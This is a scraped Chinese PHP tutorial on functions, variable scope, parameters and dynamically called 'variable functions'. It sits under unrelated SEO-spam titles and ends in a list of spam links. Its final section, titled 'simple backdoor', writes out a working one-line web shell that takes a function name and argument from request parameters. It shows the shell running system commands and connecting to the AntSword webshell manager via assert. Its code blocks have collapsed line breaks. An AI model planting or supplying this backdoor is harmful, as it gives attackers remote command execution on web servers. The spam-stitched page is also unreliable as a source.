当前位置: 首页 > news >正文

虚拟机怎么做网站空间网店推广是什么

虚拟机怎么做网站空间,网店推广是什么,商城网站建设经验,重庆公司注册服务函数 基本结构 语法结构 function 函数名(形式参数1,形式参数2...){//函数体return 返回值 }定义并执行一个简单函数 // funtion.phpfunction test(){echo "This is function ".__FUNCTION__; }test();函数传参 // function.phpfunction add($x, $y){$sum $x …

函数

基本结构

语法结构

function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}

定义并执行一个简单函数

// funtion.phpfunction test(){echo "This is function ".__FUNCTION__;
}test();

函数传参

// function.phpfunction add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

函数调用

函数的调用,函数名加上小括号

调用过程

function a(){echo "This is func ".__FUNCTION__."<br />";
}function b(){echo __FUNCTION__." is starting...<br />";a();echo __FUNCTION__." is stopped!<br />";
}b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量

范围

  • 局部变量
  • 全局变量
  • 超全局变量

函数内部无法直接获取函数外部的变量

函数外部无法直接获取函数内部的变量

局部变量

在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.phpfunction get_name(){$username = "GJL";echo "My name is {$username}";
}
get_name();echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php$username = "GJL";function get_name(){echo "My name is {$username}";
}get_name();     // Notice: Undefined variable: username

注意

  • PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。

  • 解决方式

    • 函数传参

      $username = "GJL";function get_name($username){echo "My name is {$username}";
      }get_name($username);
      
    • global 声明全局变量

      // function.php$username = "GJL";function get_name(){global $username;echo "My name is {$username}";
      }get_name();
      

参数传递

按值传参

默认传参方式。

function add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,直接赋值即可

给函数默认值的时候,全都给

function add($x = 0, $y = 0){$sum = $x + $y;return $sum;
}// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10

可变函数

概述

可变函数也叫变量函数动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

<?phpfunction a(){echo "This is function a";
}
function b(){echo "This is function b";
}
$func_name = "a";
$func_name();  // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a?>

危险操作

<?phpfunction a(){echo "This is function a";
}function b(){echo "This is function b";
}// a();
// b();$func_name  = ($_GET['func_name']);
$func_name();                   // a();// b();// phpinfo();?>

直接访问显示错误,此时的 func_name 为空

image-20231024105745753

传参,赋予其参数

修改 GET 中传入的参数

image-20231024105933485

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

image-20231024110144246

简单的后门

命令执行

  • php 中 system() 函数可以直接执行系统命令

    system("ipconfig");
    
  • 在 php 中写入最简单的后门函数

    <?php$_GET['a']($_GET['b']);?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php$_GET['a']($_REQUEST['b']);?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

http://www.hkea.cn/news/64895/

相关文章:

  • 网站页面优化包括怎么给网站做优化
  • 哪个网站用帝国cms做的软文素材网
  • 网站建设需要的资料深圳精准网络营销推广
  • 客户网站建设公司网站排名提升软件
  • 网站建设与维护试卷论文怎么在百度上做广告
  • 做博客网站要什么技术百度网站网址是多少
  • 河北建设厅官方网站八大员考试站长工具查询
  • 大连 做网站公司爱站工具包的主要功能
  • ps做简洁大气网站必应bing国内版
  • 做公司标志用哪个网站营销自动化
  • wordpress5.0.3厦门百度seo
  • 网站开发 企业 定制系统优化大师安卓版
  • 网站内链符号seo百度站长工具
  • 网站页面太多是否做静态seo优化软件
  • mac下怎么安装wordpress关键词排名优化易下拉霸屏
  • 国内做国外代购在哪个网站好百度平台客服怎么联系
  • 菏泽网站获客网站建设公司中国站长网入口
  • 黄冈网站建设推荐seo查询排名软件
  • 自己怎么做百度网站广州seo网站公司
  • 京东企业的电子网站建设百度seo教程网
  • 弥勒网站设计公司share群组链接分享
  • 网站建设栏目管理百度推广搜索排名
  • 企业管理类的网站全球搜是什么公司
  • 网站开发自我介绍seo报告
  • 网站应用软件设计海口seo网络公司
  • 武汉站建设深圳网站开发制作
  • 网站建设的平台分析北京seo技术
  • 手表价格网站百度推广天津总代理
  • 如何将域名和网站绑定排名seo怎么样
  • 旅游网站推广方案色盲测试图